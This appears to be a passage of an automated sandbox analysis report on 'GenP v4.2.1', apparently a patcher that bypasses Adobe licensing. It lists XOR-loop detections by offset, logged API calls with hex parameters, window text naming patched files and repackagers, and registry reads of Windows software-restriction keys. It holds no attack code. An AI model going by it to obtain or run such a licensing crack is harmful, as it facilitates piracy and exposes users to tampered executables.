code bytes = 8030 Found XOR loop in file "dllhost.exe" at offset 1599407; code bytes = 8030 Found XOR loop in file "dllhost.exe" at offset 1721388; code bytes = 8030 Found XOR loop in file "dllhost.exe" at offset 1787565; code bytes = 8030 Found XOR loop in file "dllhost.exe" at offset 1793081; code bytes = 8030 Found XOR loop in file "dllhost.exe" at offset 1867154; code bytes = 8030 Found XOR loop in file "dllhost.exe" at offset 1889561; code bytes = 8030 Found XOR loop in file "dllhost.exe" at offset 1949506; code bytes = 8030 Found XOR loop in file "dllhost.exe" at offset 2094608; code bytes = 8030 Found XOR loop in file "dllhost.exe" at offset 2172587; code bytes = 8030 Found XOR loop in file "dllhost.exe" at offset 2239491; code bytes = 8030 Found XOR loop in file "dllhost.exe" at offset 2278871; code bytes = 8030 Found XOR loop in file "dllhost.exe" at offset 2288486; code bytes = 8030 Found XOR loop in file "dllhost.exe" at offset 2322175; code bytes = 8030 Found XOR loop in file "dllhost.exe" at offset 2342569; code bytes = 8030 Found XOR loop in file "dllhost.exe" at offset 2354971; code bytes = 8030 Found XOR loop in file "dllhost.exe" at offset 2379429; code bytes = 8030 Found XOR loop in file "dllhost.exe" at offset 2396645; code bytes = 8030 Found XOR loop in file "dllhost.exe" at offset 2428013; code bytes = 8030 Found XOR loop in file "dllhost.exe" at offset 2586514; code bytes = 8030 Found XOR loop in file "dllhost.exe" at offset 2699376; code bytes = 8030 Found XOR loop in file "dllhost.exe" at offset 2703131; code bytes = 8030 Found XOR loop in file "dllhost.exe" at offset 2709531; code bytes = 8030 Found XOR loop in file "dllhost.exe" at offset 2723471; code bytes = 8030 Found XOR loop in file "dllhost.exe" at offset 2793332; code bytes = 8030 Found XOR loop in file "dllhost.exe" at offset 2841690; code bytes = 8030 Found XOR loop in file "dllhost.exe" at offset 2878625; code bytes = 8030 Found XOR loop in file "dllhost.exe" at offset 2900828; code bytes = 8030 Found XOR loop in file "dllhost.exe" at offset 2975620; code bytes = 8030 Found XOR loop in file "dllhost.exe" at offset 3068028; code bytes = 8030 Found XOR loop in file "dllhost.exe" at offset 3096093; code bytes = 8030 Found XOR loop in file "dllhost.exe" at offset 3272821; code bytes = 8030 Found XOR loop in file "dllhost.exe" at offset 3285180; code bytes = 8030 Found XOR loop in file "dllhost.exe" at offset 3428586; code bytes = 8030 Found XOR loop in file "dllhost.exe" at offset 3486689; code bytes = 8030 Found XOR loop in file "OSPPSVC.EXE" at offset 149285; code bytes = 30d0 Found XOR loop in file "OSPPSVC.EXE" at offset 254418; code bytes = 30d0 Found XOR loop in file "OSPPSVC.EXE" at offset 405353; code bytes = 30d0 Found XOR loop in file "OSPPSVC.EXE" at offset 481599; code bytes = 30d0 Found XOR loop in file "OSPPSVC.EXE" at offset 487461; code bytes = 30d0 Found XOR loop in file "OSPPSVC.EXE" at offset 932622; code bytes = 30d0 Found XOR loop in file "OSPPSVC.EXE" at offset 1120584; code bytes = 30d0 Found XOR loop in file "OSPPSVC.EXE" at offset 1204756; code bytes = 30d0 Found XOR loop in file "OSPPSVC.EXE" at offset 1214337; code bytes = 30d0 Found XOR loop in file "OSPPSVC.EXE" at offset 1236007; code bytes = 30d0 Found XOR loop in file "OSPPSVC.EXE" at offset 1368428; code bytes = 30d0 Found XOR loop in file "OSPPSVC.EXE" at offset 1383014; code bytes = 30d0 Found XOR loop in file "OSPPSVC.EXE" at offset 1395508; code bytes = 30d0 Found XOR loop in file "OSPPSVC.EXE" at offset 1396630; code bytes = 30d0 Found XOR loop in file "OSPPSVC.EXE" at offset 1417076; code bytes = 30d0 Found XOR loop in file "OSPPSVC.EXE" at offset 1657412; code bytes = 30d0 Found XOR loop in file "OSPPSVC.EXE" at offset 1661481; code bytes = 30d0 Found XOR loop in file "OSPPSVC.EXE" at offset 1712333; code bytes = 30d0 Found XOR loop in file "OSPPSVC.EXE" at offset 1800137; code bytes = 30d0 Found XOR loop in file "OSPPSVC.EXE" at offset 2004269; code bytes = 30d0 Found XOR loop in file "OSPPSVC.EXE" at offset 2079088; code bytes = 30d0 Found XOR loop in file "OSPPSVC.EXE" at offset 2228577; code bytes = 30d0 Found XOR loop in file "OSPPSVC.EXE" at offset 2331711; code bytes = 30d0 Found XOR loop in file "OSPPSVC.EXE" at offset 2354683; code bytes = 30d0 Found XOR loop in file "OSPPSVC.EXE" at offset 2385535; code bytes = 30d0 Found XOR loop in file "OSPPSVC.EXE" at offset 2428665; code bytes = 30d0 Found XOR loop in file "OSPPSVC.EXE" at offset 2495034; code bytes = 30d0 Found XOR loop in file "OSPPSVC.EXE" at offset 2544344; code bytes = 30d0 Found XOR loop in file "OSPPSVC.EXE" at offset 2576644; code bytes = 30d0 Found XOR loop in file "OSPPSVC.EXE" at offset 2578662; code bytes = 30d0 Found XOR loop in file "OSPPSVC.EXE" at offset 2674371; code bytes = 30d0 Found XOR loop in file "OSPPSVC.EXE" at offset 2696998; code bytes = 30d0 Found XOR loop in file "OSPPSVC.EXE" at offset 2779635; code bytes = 30d0 Found XOR loop in file "OSPPSVC.EXE" at offset 2861214; code bytes = 30d0 Found XOR loop in file "OSPPSVC.EXE" at offset 2876859; code bytes = 30d0 Found XOR loop in file "OSPPSVC.EXE" at offset 2880468; code bytes = 30d0 Found XOR loop in file "OSPPSVC.EXE" at offset 2921425; code bytes = 30d0 Found XOR loop in file "OSPPSVC.EXE" at offset 3029622; code bytes = 30d0 Found XOR loop in file "OSPPSVC.EXE" at offset 3050057; code bytes = 30d0 Found XOR loop in file "OSPPSVC.EXE" at offset 3354920; code bytes = 30d0 Found XOR loop in file "OSPPSVC.EXE" at offset 3444035; code bytes = 30d0 Found XOR loop in file "OSPPSVC.EXE" at offset 3487164; code bytes = 30d0 Found XOR loop in file "OSPPSVC.EXE" at offset 3500170; code bytes = 30d0 Found XOR loop in file "OSPPSVC.EXE" at offset 57750; code bytes = 33c1 Found XOR loop in file "OSPPSVC.EXE" at offset 85311; code bytes = 33c1 Found XOR loop in file "OSPPSVC.EXE" at offset 91550; code bytes = 33c1 Found XOR loop in file "OSPPSVC.EXE" at offset 109296; code bytes = 33c1 Found XOR loop in file "OSPPSVC.EXE" at offset 163356; code bytes = 33c1 Found XOR loop in file "OSPPSVC.EXE" at offset 293626; code bytes = 33c1 Found XOR loop in file "OSPPSVC.EXE" at offset 360510; code bytes = 33c1 Found XOR loop in file "OSPPSVC.EXE" at offset 382890; code bytes = 33c1 Found XOR loop in file "OSPPSVC.EXE" at offset 398591; code bytes = 33c1 Found XOR loop in file "OSPPSVC.EXE" at offset 466538; code bytes = 33c1 Found XOR loop in file "OSPPSVC.EXE" at offset 480764; code bytes = 33c1 Found XOR loop in file "OSPPSVC.EXE" at offset 512553; code bytes = 33c1 Found XOR loop in file "OSPPSVC.EXE" at offset 521932; code bytes = 33c1 Found XOR loop in file "OSPPSVC.EXE" at offset 543811; code bytes = 33c1 Found XOR loop in file "OSPPSVC.EXE" at offset 544396; code bytes = 33c1 Found XOR loop in file "OSPPSVC.EXE" at offset 559032; code bytes = 33c1 Found XOR loop in file "OSPPSVC.EXE" at offset 580970; code bytes = 33c1 Found XOR loop in file "OSPPSVC.EXE" at offset 586071; code bytes = 33c1 Found XOR loop in file "OSPPSVC.EXE" at offset 640735; code bytes = 33c1 Found XOR loop in file "OSPPSVC.EXE" at offset 654304; code bytes = 33c1 Found XOR loop in file "OSPPSVC.EXE" at offset 731548; code bytes = 33c1 Found XOR loop in file "OSPPSVC.EXE" at offset 755748; code bytes = 33c1 Found XOR loop in file "OSPPSVC.EXE" at offset 767574; code bytes = 33c1 Found XOR loop in file "OSPPSVC.EXE" at offset 768787; code bytes = 33c1 Found XOR loop in file "OSPPSVC.EXE" at offset 831621; code bytes = 33c1 Found XOR loop in file "OSPPSVC.EXE" at offset 849176; code bytes = 33c1 Found XOR loop in file "OSPPSVC.EXE" at offset 852784; code bytes = 33c1 Found XOR loop in file "OSPPSVC.EXE" at offset 868535; code bytes = 33c1 Found XOR loop in file "OSPPSVC.EXE" at offset 954692; code bytes = 33c1 Found XOR loop in file "OSPPSVC.EXE" at offset 1019766; code bytes = 33c1 Found XOR loop in file "OSPPSVC.EXE" at offset 1078030; code bytes = 33c1 Found XOR loop in file "OSPPSVC.EXE" at offset 1084432; code bytes = 33c1 Found XOR loop in file "OSPPSVC.EXE" at offset 1108563; code bytes = 33c1 Found XOR loop in file "OSPPSVC.EXE" at offset 1118150; code bytes = 33c1 Found XOR loop in file "OSPPSVC.EXE" at offset 1211934; code bytes = 33c1 Found XOR loop in file "OSPPSVC.EXE" at offset 1224769; code bytes = 33c1 Found XOR loop in file "OSPPSVC.EXE" at offset 1232127; code bytes = 33c1 Found XOR loop in file "OSPPSVC.EXE" at offset 1291078; code bytes = 33c1 Found XOR loop in file "OSPPSVC.EXE" at offset 1310639; code bytes = 33c1 Found XOR loop in file "OSPPSVC.EXE" at offset 1589985; code bytes = 33c1 Found XOR loop in file "OSPPSVC.EXE" at offset 1748004; code bytes = 33c1 Found XOR loop in file "OSPPSVC.EXE" at offset 1780745; code bytes = 33c1 Found XOR loop in file "OSPPSVC.EXE" at offset 1821514; code bytes = 33c1 Found XOR loop in file "OSPPSVC.EXE" at offset 1855538; code bytes = 33c1 Found XOR loop in file "OSPPSVC.EXE" at offset 2065484; code bytes = 33c1 Found XOR loop in file "OSPPSVC.EXE" at offset 2071095; code bytes = 33c1 Found XOR loop in file "OSPPSVC.EXE" at offset 2154115; code bytes = 33c1 Found XOR loop in file "OSPPSVC.EXE" at offset 2241501; code bytes = 33c1 Found XOR loop in file "OSPPSVC.EXE" at offset 2300721; code bytes = 33c1 Found XOR loop in file "OSPPSVC.EXE" at offset 2406133; code bytes = 33c1 Found XOR loop in file "OSPPSVC.EXE" at offset 2452904; code bytes = 33c1 Found XOR loop in file "OSPPSVC.EXE" at offset 2583974; code bytes = 33c1 Found XOR loop in file "OSPPSVC.EXE" at offset 2588593; code bytes = 33c1 Found XOR loop in file "OSPPSVC.EXE" at offset 2659497; code bytes = 33c1 Found XOR loop in file "OSPPSVC.EXE" at offset 2681434; code bytes = 33c1 Found XOR loop in file "OSPPSVC.EXE" at offset 2685540; code bytes = 33c1 Found XOR loop in file "OSPPSVC.EXE" at offset 2712015; code bytes = 33c1 Found XOR loop in file "OSPPSVC.EXE" at offset 2769492; code bytes = 33c1 Found XOR loop in file "OSPPSVC.EXE" at offset 2776307; code bytes = 33c1 Found XOR loop in file "OSPPSVC.EXE" at offset 2960789; code bytes = 33c1 Found XOR loop in file "OSPPSVC.EXE" at offset 3082212; code bytes = 33c1 Found XOR loop in file "OSPPSVC.EXE" at offset 3233326; code bytes = 33c1 Found XOR loop in file "OSPPSVC.EXE" at offset 3248807; code bytes = 33c1 Found XOR loop in file "OSPPSVC.EXE" at offset 3252782; code bytes = 33c1 Found XOR loop in file "OSPPSVC.EXE" at offset 3272793; code bytes = 33c1 Found XOR loop in file "OSPPSVC.EXE" at offset 3290160; code bytes = 33c1 Found XOR loop in file "OSPPSVC.EXE" at offset 3299614; code bytes = 33c1 Found XOR loop in file "OSPPSVC.EXE" at offset 3327331; code bytes = 33c1 Found XOR loop in file "OSPPSVC.EXE" at offset 3371935; code bytes = 33c1 Found XOR loop in file "OSPPSVC.EXE" at offset 3436594; code bytes = 33c1 Found XOR loop in file "OSPPSVC.EXE" at offset 3502096; code bytes = 33c1 Found XOR loop in file "OSPPSVC.EXE" at offset 3576421; code bytes = 33c1 Found XOR loop in file "OSPPSVC.EXE" at offset 55931; code bytes = 8030 Found XOR loop in file "OSPPSVC.EXE" at offset 89499; code bytes = 8030 Found XOR loop in file "OSPPSVC.EXE" at offset 172030; code bytes = 8030 Found XOR loop in file "OSPPSVC.EXE" at offset 356771; code bytes = 8030 Found XOR loop in file "OSPPSVC.EXE" at offset 359959; code bytes = 8030 Found XOR loop in file "OSPPSVC.EXE" at offset 416396; code bytes = 8030 Found XOR loop in file "OSPPSVC.EXE" at offset 508807; code bytes = 8030 Found XOR loop in file "OSPPSVC.EXE" at offset 579973; code bytes = 8030 Found XOR loop in file "OSPPSVC.EXE" at offset 651710; code bytes = 8030 Found XOR loop in file "OSPPSVC.EXE" at offset 692388; code bytes = 8030 Found XOR loop in file "OSPPSVC.EXE" at offset 703909; code bytes = 8030 Found XOR loop in file "OSPPSVC.EXE" at offset 718428; code bytes = 8030 Found XOR loop in file "OSPPSVC.EXE" at offset 798906; code bytes = 8030 Found XOR loop in file "OSPPSVC.EXE" at offset 798977; code bytes = 8030 Found XOR loop in file "OSPPSVC.EXE" at offset 972874; code bytes = 8030 Found XOR loop in file "OSPPSVC.EXE" at offset 1048123; code bytes = 8030 Found XOR loop in file "OSPPSVC.EXE" at offset 1136605; code bytes = 8030 Found XOR loop in file "OSPPSVC.EXE" at offset 1158128; code bytes = 8030 Found XOR loop in file "OSPPSVC.EXE" at offset 1203357; code bytes = 8030 Found XOR loop in file "OSPPSVC.EXE" at offset 1220491; code bytes = 8030 Found XOR loop in file "OSPPSVC.EXE" at offset 1354192; code bytes = 8030 Found XOR loop in file "OSPPSVC.EXE" at offset 1486775; code bytes = 8030 Found XOR loop in file "OSPPSVC.EXE" at offset 1599407; code bytes = 8030 Found XOR loop in file "OSPPSVC.EXE" at offset 1721388; code bytes = 8030 Found XOR loop in file "OSPPSVC.EXE" at offset 1787565; code bytes = 8030 Found XOR loop in file "OSPPSVC.EXE" at offset 1793081; code bytes = 8030 Found XOR loop in file "OSPPSVC.EXE" at offset 1867154; code bytes = 8030 Found XOR loop in file "OSPPSVC.EXE" at offset 1889561; code bytes = 8030 Found XOR loop in file "OSPPSVC.EXE" at offset 1949506; code bytes = 8030 Found XOR loop in file "OSPPSVC.EXE" at offset 2094608; code bytes = 8030 Found XOR loop in file "OSPPSVC.EXE" at offset 2172587; code bytes = 8030 Found XOR loop in file "OSPPSVC.EXE" at offset 2239491; code bytes = 8030 Found XOR loop in file "OSPPSVC.EXE" at offset 2278871; code bytes = 8030 Found XOR loop in file "OSPPSVC.EXE" at offset 2288486; code bytes = 8030 Found XOR loop in file "OSPPSVC.EXE" at offset 2322175; code bytes = 8030 Found XOR loop in file "OSPPSVC.EXE" at offset 2342569; code bytes = 8030 Found XOR loop in file "OSPPSVC.EXE" at offset 2354971; code bytes = 8030 Found XOR loop in file "OSPPSVC.EXE" at offset 2379429; code bytes = 8030 Found XOR loop in file "OSPPSVC.EXE" at offset 2396645; code bytes = 8030 Found XOR loop in file "OSPPSVC.EXE" at offset 2428013; code bytes = 8030 Found XOR loop in file "OSPPSVC.EXE" at offset 2586514; code bytes = 8030 Found XOR loop in file "OSPPSVC.EXE" at offset 2699376; code bytes = 8030 Found XOR loop in file "OSPPSVC.EXE" at offset 2703131; code bytes = 8030 Found XOR loop in file "OSPPSVC.EXE" at offset 2709531; code bytes = 8030 Found XOR loop in file "OSPPSVC.EXE" at offset 2723471; code bytes = 8030 Found XOR loop in file "OSPPSVC.EXE" at offset 2793332; code bytes = 8030 Found XOR loop in file "OSPPSVC.EXE" at offset 2841690; code bytes = 8030 Found XOR loop in file "OSPPSVC.EXE" at offset 2878625; code bytes = 8030 Found XOR loop in file "OSPPSVC.EXE" at offset 2900828; code bytes = 8030 Found XOR loop in file "OSPPSVC.EXE" at offset 2975620; code bytes = 8030 Found XOR loop in file "OSPPSVC.EXE" at offset 3068028; code bytes = 8030 Found XOR loop in file "OSPPSVC.EXE" at offset 3096093; code bytes = 8030 Found XOR loop in file "OSPPSVC.EXE" at offset 3272821; code bytes = 8030 Found XOR loop in file "OSPPSVC.EXE" at offset 3285180; code bytes = 8030 Found XOR loop in file "OSPPSVC.EXE" at offset 3428586; code bytes = 8030 Found XOR loop in file "OSPPSVC.EXE" at offset 3486689; code bytes = 80302e:T9a4,"GenP-v4.2.1.exe" called "GetWindowTextW" with parameter "Welcome to GenP v4.2.1" - (UID: 00000000-00007688) "GenP-v4.2.1.exe" called "GetWindowTextW" with parameter "Originally created by uncia" - (UID: 00000000-00007688) "GenP-v4.2.1.exe" called "GetWindowTextW" with parameter "Latest version updated by MP7909" - (UID: 00000000-00007688) "GenP-v4.2.1.exe" called "GetWindowTextW" with parameter "To ensure absolute security, this software must only be obtained directly from official sources:" - (UID: 00000000-00007688) "GenP-v4.2.1.exe" called "GetWindowTextW" with parameter "GenP Wiki && Guides" - (UID: 00000000-00007688) "GenP-v4.2.1.exe" called "GetWindowTextW" with parameter "Releases found on any unofficial mirrors like GitHub or third-party websites are entirely unaffiliated." - (UID: 00000000-00007688) "GenP-v4.2.1.exe" called "GetWindowTextW" with parameter "None of those mirrors are guaranteed to be safe, and some will add their own malicious scripts." - (UID: 00000000-00007688) "GenP-v4.2.1.exe" called "GetWindowTextW" with parameter "Always check that the official SHA256 signature and CID match your own downloads and links." - (UID: 00000000-00007688) "GenP-v4.2.1.exe" called "GetWindowTextW" with parameter "Used by Monkrus for his standalone repackages, integrating newer GenP patches as required." - (UID: 00000000-00007688) "GenP-v4.2.1.exe" called "GetWindowTextW" with parameter "GenP - Thanks to all those involved, past, present and future." - (UID: 00000000-00007688) "GenP-v4.2.1.exe" called "GetWindowTextW" with parameter "Uncheck All" - (UID: 00000000-00007688) "GenP-v4.2.1.exe" called "GetWindowTextW" with parameter "Check All" - (UID: 00000000-00007688) "GenP-v4.2.1.exe" called "GetWindowTextW" with parameter "Unpatched" - (UID: 00000000-00007688) "GenP-v4.2.1.exe" called "GetWindowTextW" with parameter "Patched" - (UID: 00000000-00007688) "GenP-v4.2.1.exe" called "GetWindowTextW" with parameter "Refresh" - (UID: 00000000-00007688) "GenP-v4.2.1.exe" called "GetWindowTextW" with parameter "Path" - (UID: 00000000-00007688) "GenP-v4.2.1.exe" called "GetWindowTextW" with parameter "Search" - (UID: 00000000-00007688) "GenP-v4.2.1.exe" called "GetWindowTextW" with parameter "Patch" - (UID: 00000000-00007688) "GenP-v4.2.1.exe" called "GetWindowTextW" with parameter "Modified" - (UID: 00000000-00007688) "GenP-v4.2.1.exe" called "GetWindowTextW" with parameter "Restore" - (UID: 00000000-00007688)2f:T2c77,"Genpv4.2.1.exe" called "RtlGetVersion" with parameter 140100000a000000000000005d580000020000000000000000003eedfa7f0000b031a4000000000088eb5c0000000000060000000000000031e4c718fb7f00000000000000000000000000000000000060e95c00000000000000000000000000b0e85c00000000001014d818fb7f000000000000000000009013d818fb7f00000800000000000000010000000f00000000000000000000000000000000000000100000000000000030e95c00000000000802000000000000b014a3000000000030e95c0000000000b051a30000000000b051a30000000000a014a3000000000030e95c000000000038e95c00000000005045a40000000000f385c718fb7f00005045a4000000000038e95c000000000000000000 (UID: 00000000-00006860) "Genpv4.2.1.exe" called "RtlGetVersion" with parameter 140100000a000000000000005d5800000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00006860) "Genpv4.2.1.exe" called "RtlGetVersion" with parameter 1c0100000a000000000000005d5800000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00006860) "Genpv4.2.1.exe" called "RtlGetVersion" with parameter 140100000a000000000000005d5800000200000000000000c9389116fb7f0000800000000000000000000000000000009074ac00000000001033ca18fb7f000000000000000000000000a516fb7f000030d55c000000000010418e16fb7f0000c058a50000000000f0d45c0000000000000000000000000000000000000000000100000000000000b8408e16fb7f00007e0000000000000001000000000000000000a516fb7f00003b4d2216fb7f00000000000000000000a8d95c00000000000000000000000000d02ab716fb7f000010b31d17fb7f0000e8f88d16fb7f000010b31d17fb7f0000d02ab716fb7f00000d000000fb7f00000d00000000000000a0f60d17fb7f0000f587b216fb7f0000d02ab716 (UID: 00000000-00006860) "Genpv4.2.1.exe" called "RtlGetVersion" with parameter 000000000a000000000000005d5800000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00006860) "GenP-v4.2.1.exe" called "RtlGetVersion" with parameter 140100000a000000000000005d5800000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007688) "GenP-v4.2.1.exe" called "RtlGetVersion" with parameter 1c0100000a000000000000005d58000002000000000000000a000000f67f000000100000000000001010000000000000003414b5b001000030fadf704800000003000000000000001033ca18fb7f0000181215b5b00100001a8716b5b0010000000000000000000056c3ca18fb7f0000000000000000000000000000000000000000000000000000c2a43238f67f000018fbdf7048000000f0fadf704800000018fbdf7048000000000000000000000018b23a38f67f000092a83238f67f000030bf3338f67f0000000014b5b001000040513e38f67f000018fbdf7048000000020000000000000000fbdf704800000008fbdf704800000000000000000000000000000000000000943e3138f67f000020553e38 (UID: 00000000-00007688) "GenP-v4.2.1.exe" called "RtlGetVersion" with parameter 1c0100000a000000000000005d5800000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007688) "GenP-v4.2.1.exe" called "RtlGetVersion" with parameter 000000000a000000000000005d5800000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007688) "svchost.exe" called "RtlGetVersion" with parameter 140100000a000000000000005d5800000200000000000000c0024b01000000000100000080ec48018cc88777400b4b01240000000200000000004b010300000000014b0160018001386681011ee687772c0000000300000000014b01b002800148b282012c0000005d00000010b082016400000000b08201c0024b015d00000000000000000000ffe4ec4801711f887748b28201bc1f887700004b01000000000000000000014b010000000004ed480100eb87770000000048b2820100004b010000000048b282013866810164ed480132f58077000000000000000077f5807748b2820100004b015cee480100000000000000000100000000000000000000000000000038668101000000000100000000000000 (UID: 00000000-00001656) "svchost.exe" called "RtlGetVersion" with parameter 140100000a000000000000005d5800000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00001656) "svchost.exe" called "RtlGetVersion" with parameter 1c0100000a000000000000005d5800000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00001656) "svchost.exe" called "RtlGetVersion" with parameter 140100000a000000000000005d580000020000000000d1118b0200600806d9b60100000000000000c0000000000000461cebfd24a3af2b3ef8eafd2481d92d77000000009c1987015cb422771cebfd2478198701c06b8701a7d92d77000000009c198701c06b87015cb4227730a28801ff9ff8ff050000000100870168180000001c000080eafd24aaf22b7748ebfd24a824860100f22b777819870100000000b0f52b7728ebfd243de02b77608187018881870120db22775ce02b770000cf6d0000000000000000a824860100000000d0a38801a5f42b7778198701000000009cebfd2404ebfd24c06b87016818000020db2277b08e2c778f2e327742d42b7778198701000000009cebfd248b0200600806d9b6 (UID: 00000000-00001656) "svchost.exe" called "RtlGetVersion" with parameter 140100000a000000000000005d580000020000000000d1118b0200600806d9b60100000000000000c00000000000004674eefd24cba82b3e50eefd2481d92d77000000009ca48a015cb4227774eefd2478a48a01f8968a01a7d92d77000000009ca48a01f8968a015cb4227718138401ff9ff8ff5200000001008a01e0050000001c0000d8edfd24aaf22b77a0eefd24d021860100f22b7778a48a0100000000b0f52b7780eefd243de02b77c0838701e883870120db22775ce02b770000cf6d0000000000000000d021860100000000f04a8a01a5f42b7778a48a0100000000f4eefd245ceefd24f8968a01e005000020db2277b08e2c778f2e327742d42b7778a48a0100000000f4eefd248b0200600806d9b6 (UID: 00000000-00001656) "svchost.exe" called "RtlGetVersion" with parameter 140100000a000000000000005d580000020000000000d1118b0200600806d9b60100000000000000c00000000000004614effd24abab2b3ef0eefd2481d92d77000000005ca68a015cb4227714effd2438a68a01b8948a01a7d92d77000000005ca68a01b8948a015cb4227758f78b01ff9ff8ff9f00000001008a01801f0000001c000078eefd24aaf22b7740effd24d823860100f22b7738a68a0100000000b0f52b7720effd243de02b77508787017887870120db22775ce02b770000cf6d0000000000000000d823860100000000a0258a01a5f42b7738a68a010000000094effd24fceefd24b8948a01801f000020db2277b08e2c778f2e327742d42b7738a68a010000000094effd248b0200600806d9b6 (UID: 00000000-00001656) "svchost.exe" called "RtlGetVersion" with parameter 140100000a000000000000005d580000020000000000d1118b0200600806d9b60100000000000000c000000000000046e4f0fd245baa2b3ec0f0fd2481d92d77000000005ca68a015cb42277e4f0fd2438a68a0168968a01a7d92d77000000005ca68a0168968a015cb42277e8f58b01ff9ff8ffec00000001008a0120160000001c000048f0fd24aaf22b7710f1fd24e025860100f22b7738a68a0100000000b0f52b77f0f0fd243de02b77408d8701688d870120db22775ce02b770000cf6d0000000000000000e025860100000000004c8a01a5f42b7738a68a010000000064f1fd24ccf0fd2468968a012016000020db2277b08e2c778f2e327742d42b7738a68a010000000064f1fd248b0200600806d9b6 (UID: 00000000-00001656) "svchost.exe" called "RtlGetVersion" with parameter 000000000a000000000000005d5800000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00001656) "cmd.exe" called "RtlGetVersion" with parameter 140100000a000000000000005d580000020000000000000000003eedfa7f0000300fc5ef2d010000e8ea2f1b27000000060000000000000031e4c718fb7f000000000000000000000000000000000000c0e82f1b27000000000000000000000010e82f1b270000001014d818fb7f000000000000000000009013d818fb7f00000800000000000000010000000f00000000000000000000000000000000000000100000000000000090e82f1b27000000080200000000000000a2c5ef2d01000090e82f1b27000000804ec4ef2d010000804ec4ef2d010000f0a1c5ef2d01000090e82f1b2700000098e82f1b27000000e022c5ef2d010000f385c718fb7f0000e022c5ef2d01000098e82f1b2700000000000000 (UID: 00000000-00000788)30:T7f5,"Genpv4.2.1.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "Genpv4.2.1.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "GenP-v4.2.1.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "GenP-v4.2.1.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "svchost.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "svchost.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "OSPPSVC.EXE" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "OSPPSVC.EXE" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LOGFILENAME") 